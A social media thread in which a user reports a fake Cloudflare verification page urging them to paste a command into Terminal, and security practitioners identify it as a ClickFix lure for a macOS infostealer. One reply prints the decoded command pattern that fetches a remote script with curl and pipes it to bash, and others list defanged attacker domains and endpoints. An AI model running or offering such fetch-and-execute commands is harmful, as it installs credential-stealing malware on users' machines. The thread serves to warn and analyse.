decryption
well that's a new one from cloudflare - i didn't wanna see that website this badly
Mar 16 at 10:55amWeb
Show threaddecryptionMar 16

didnt even occur to me it's malware (of course it is, what would pasting a text string into Terminal do lol), I just assumed it's some new bullshit cloudflare is doing so I took a screenshot and closed the page - i went back and it did it again

copied the text and pasted it in to a text editor and this is what it is

Show threadDaniel O'ConnorMar 16
@decryption I almost did exactly this a couple of months ago.. whistling past the graveyard. The one I got was a credential stealer
Show threaddecryptionMar 16
@Darius the close calls are getting closer!
Show threadDaniel O'ConnorMar 16
@decryption yeah it’s pretty annoying
Show threadI love this, so IMar 16
@decryption yo @Viss @da_667 et al
Show threadda_667Mar 16

@jpm @decryption @Viss yeah, this thing is probably some variant of clickfix. Usually they lure you with either a prompt that looks like something themed like a google error message, or more often, cloudflare. They dump either some form of bash or if Windows, some form of powershell that is designed to grab a malicious payload from another site and run it. Most often a RAT or an infostealer.

So, good judgement on not running that.

Show threadda_667Mar 16

@jpm @decryption @Viss I tried OCR'ing the image, because I'm a lazy ass, but it failed, so I manually copied the base64. Reaches out to two domains. Well, one domain that's a subdomain of the other.

https[:]//sery.volcatomix.com/vpoPqfAqD5s7SHpf

https[:]//volcatomix.com/cl/index.php

#ClickFix #Malware

Show threadda_667Mar 16

@jpm @decryption @Viss The first URL is a single pixel GIF. I don't know what its purpose is.

The second URL looks like an OSA script. My scroll buffer wasn't long enough to grab it all, but yeah, its definitely an info stealer.

Here are the relevant URLs that it interacts with:

https[:]//stradisamplix.com/api/health
https[:]//stradisamplix.com/api/data/recieve

take note of the X-Bid header as well.

#ClickFix #InfoStealer #MacOS

Show thread1.3.6.1.4.1.61513Mar 16
@da_667 @jpm @decryption @Viss tracking pixels in malware now damn. Going to need an AdBlock for malware
Show threadda_667Mar 16
@jpm @decryption @Viss I can't be 100% certain, but I think this might be a variant of MacSync. Either that, or its Atomic Stealer. #Malware #MacOS #InfoStealer
Show threadVissMar 16

@da_667 @jpm @decryption oh man, this is interesting. i literally used almost exactly this technique on a gig i did last year for a company who wanted a phishing test.

da_667 is probably right on the money. i dont personally track the threat actors myself, but i pay keen attention to their techniques. the screenshots he posted scream infostealer to me. it just nabs shit from your system, zips it up, and ships it to the attacker

Show threadVissMar 16
@da_667 @jpm @decryption it is plausible that the single pixel gif is a flavor of what the blackhole exploit kit used to do - push victims through a bunch of browser fingerprinting to assert that the victim was indeed vulnerable, and if they were, then go deliver the payload, and if they werent, they just got redirected to google and they were left just curious wtf happened.
Show threadVissMar 16

@da_667 @jpm @decryption but the infostealer stuff is getting big because defenses are getting fucking hard to bypass. like the gig i was on was a 2 week engagement, and i spent the entire fucking time, save 2 days, trying to get around apples codesigning requirements, googles spam filters, and various endpoint protection issues. i eventually bailed on trying to use any kinda sliver/msf/etc payload and just went with 'stupid bash'.

but it worked, like a champ.
shit sailed right through

Show threadVissMar 16

@da_667 @jpm @decryption but in general, any website asking you to copypaste shit into the terminal is 100% shady.

and that includes every real website asking you to "curl pipe to bash". like rvm, homebrew, openclaw, and every other 'devops flavored' installer that asks you to "just trust us bro"

all that shit is a gigantic pietri dish for malware

Show threadPaul_IPv6Mar 16

@Viss @da_667 @jpm @decryption

yeah. "curl pipe to bash" is the "lick the doorknob at the truckstop bathroom" of install methods...

Show threadSass, DavidMar 16

@Viss @da_667 @jpm @decryption

I guess the bootstrap scripts published on the GitHub readme.md files are the same, right?

I tend to trust those which come from people I have met in person before, but I guess I should reconsider this probably 🤔

Show threadVissMar 16

@sassdawe @da_667 @jpm @decryption I guess it would be an easy thing to say "here is the script, you should review it before you run it", which would encourage folks to take the time to understand what the fuck they were about to do, but it just doesnt seem to happen

people are way too complacent about just running some shit from the internet - and its so bad and also common now that you can just give people the script unobfuscated and they wont even bother to read it before running it

Show threadVissMar 16

@sassdawe @da_667 @jpm @decryption and the whole concept of vibecoding is gonna make that so much worse.

like, imagine a malicious browser plugin that takes any code you copy from chatgpt, alters it slightly in the clipboard, and so when you paste it, you have auto-backdoored code.

nobodys gonna look.
cuz they're in the middle of a "workflow" that is copypasting 5 pages of code from a browser tab into a terminal that they can plainly see, and they arent even reviewing THAT before running it

Show threadbuheratorMar 16
@Viss As I see with the rise of smart phones companies successfully convinced users that files and directories are low level magic they are not supposed to know or care about. From this point doing stuff with files in a file manager is sorcery indistinguishable from copying 5 pages of sorcery into the sorcery manager. Confirmation windows never stopped any attacks because users click Yes faster than the blink of an eye.

In essence users are expected to make critical decisions about a system that is hidden from them in every other aspect of working with computers.

@sassdawe @da_667 @jpm @decryption
Show threadschrotthaufenMar 16
@buherator @decryption @jpm @da_667 @sassdawe @Viss Confirmation dialogues need a 10s timer before they let you click on the non-abort option smdh
Show threadbuheratorMar 16
@schrotthaufen

SmartScreen windows got increasingly hard to unblock over time "and for a while, it was good". Then I went to a client where the sysadmin unblocked the freshly downloaded executable from the properties window so fast I had to ask him to show me once more what he just did because I couldn't follow.

Life finds a way.

@decryption @jpm @da_667 @sassdawe @Viss
Show threadPhillip Mar 16

@buherator @Viss @sassdawe @da_667 @jpm @decryption “Confirmation windows never stopped any attacks because users click Yes faster than the blink of an eye.”

This is one of the biggest foot shotguns tech companies have ever shot. Who can really blame users for falling for phishing attacks or agreeing to shady privacy pop ups when it’s so incredibly normalized?

Show threadVissMar 16

@phillip @buherator @sassdawe @da_667 @jpm @decryption exactly. every bank, every government website, every lazy dev - they all create UX that functions exactly like every phishing test

so what are we doing to the users when the shit they have to do every day looks and feels exactly like the bullshit phishing training stuff? it makes it super hard to tell wtf they should be doing

and its all just for box checkery

Show threadI love this, so IMar 16
@Viss @phillip @buherator @sassdawe @da_667 @decryption *nods* checking boxes is more important than actually deploying effective security controls
Show threadVissMar 16
@jpm @phillip @buherator @sassdawe @da_667 @decryption gotta get that discount for "we do phishing awareness"
Show threadI love this, so IMar 16
@Viss @phillip @buherator @sassdawe @da_667 @decryption luckily my mate Phisherman Georg will click on the training link for me about once a minute, for a week straight. One day I’d love to see the report that says the training link got an order of magnitude more clicks than employees in the entire company.
Show threadJosephMar 16

@Viss

I wonder how well these agentic crawlers manage phishing pages like this. Many have the ability to go "do their own research" on a particular topic, but if they're served with a page like this would they just follow the instructions in a best effort attempt and going it alone?

@sassdawe @da_667 @jpm @decryption

Show threadschrotthaufenMar 16

@Viss @sassdawe @da_667 @jpm @decryption

> people are way too complacent about just running some shit from the internet

I wouldn’t be surprised if we saw much more of this for Linux, and macOS the shittier Windows gets

Show threadI love this, so IMar 16
@decryption mate you just dodged a fucken bullet
Show threaddecryptionMar 16
@jpm I should buy a lottery ticket
Show threadSimon ElveryMar 16
@decryption Sheet — what's the plain text?
Show threadMichael RoweMar 16
@decryption nuthin’ suss
Show threadJames HenstridgeMar 16
@decryption Looks like it downloads some AppleScript to grab your web browser cookies, keychain, and various cryptocurrency wallets and send them back to the attackers.
Show threadcpmMar 16

@decryption
nice

sheesh

Show threadMiles GoodhewMar 16
@decryption What does the b64-decoded script look like?
Show threadWill RichardsonMar 16

@decryption for anyone else following along at home, this is what it decodes to (with URLs removed b/c you shouldn't click 'em)

curl -sL "$(echo 'base64 encoded URL/some unique id' | base64 -d)" & curl -sL "
(echo 'some static base64 URL.php')" | nohup bash &

Show threadnleanba Mar 16
@decryption this cant be real, right? this is malware, right?
Show threadBenMar 16
@decryption what’s the actual copypasta?
Show threadWill RichardsonMar 16
@decryption you gotta show us the malware, what text gets copied to the clipboard?
Show threadAdam KentMar 16
@decryption pretty sure that's malware injection not actually CloudFlare
Show threadJonathan TrottMar 16
@decryption that’s malware. If you copy then paste into a text editor it will become clear.
Show threadRobinMar 16
@decryption imagine: if we still had websites that used a few kb to deliver a page of text rather than several mb of bullshit JS libraries, analytics and dynamic content when you just want to read a page of text, we could still have web servers that send content to clients directly rather than everything going through bloody cloudflare.
Show threadRobinMar 16
@decryption and also … that’s just going to give you an error in Terminal, what the hell are they doing?
Show threadnoodleMar 16
@raaahbin @decryption 'copy' copies a different string.
Show threadstibMar 16
@raaahbin
I think the text payload when you hit copy is not the same as the text it's showing you.
@decryption
Show threadRobinMar 16
@stib @decryption really? Oh well in that case Cloudflare and all who ride in her could absolutely get bent. I’m not giving them shell access - nothing on the Cloudflare-web is that important these days.
Show threadRobinMar 16
@stib @decryption they’re about half a step above ChatGPT when it comes to people I’ll copy and paste to my command line. Honestly, how is it every time I think the web sucks as much as it possibly could, some massive web company makes it suck a little bit more?
Show threadstibMar 16
@raaahbin
It's not cloudflare, its a phishing site pretending to be cloudflare.
@decryption
Show threadnoodleMar 16
@stib @raaahbin @decryption This is correct. I have the windows payload saved somewhere.....
Show threadI love this, so IMar 16
@decryption paste it into a text editor, what does it really say?
Show threadMalcolm HerbertMar 16
@decryption the fact that this sort of shit only has to work once and you're fscked is ... very sobering. everyone has an off day once in a while ...
Show threadI can’t believe its not @twcauMar 16

@decryption That ain’t Cloudflare, that’s Phishing.

Betting that the copy button puts malicious code onto the clipboard for the user to blindly execute.

https://community.cloudflare.com/t/fake-cloudflare-bot-verification-page-malware/775989

Fake Cloudflare bot verification page malware

What is the name of the domain? https://albatrosship.com/ What is the issue you’re encountering Phishing - Malware What steps have you taken to resolve the issue? Website presented a cloudflare verification page. But when clicked the page says “Unusual web traffic detected” and provides steps to resolve this manually. The steps are to open Windows Run by pressing Win + R buttons and pasting the test they provide. The text looks like this in the website → “Ι am nοt a rοbοt: Clοudflare Verifica...

Cloudflare Community
Show thread Shlee messed around &Mar 16
@decryption clicks jacky! In real life
Show threadAndrew HarveyMar 17
@decryption My guy, that is a scam.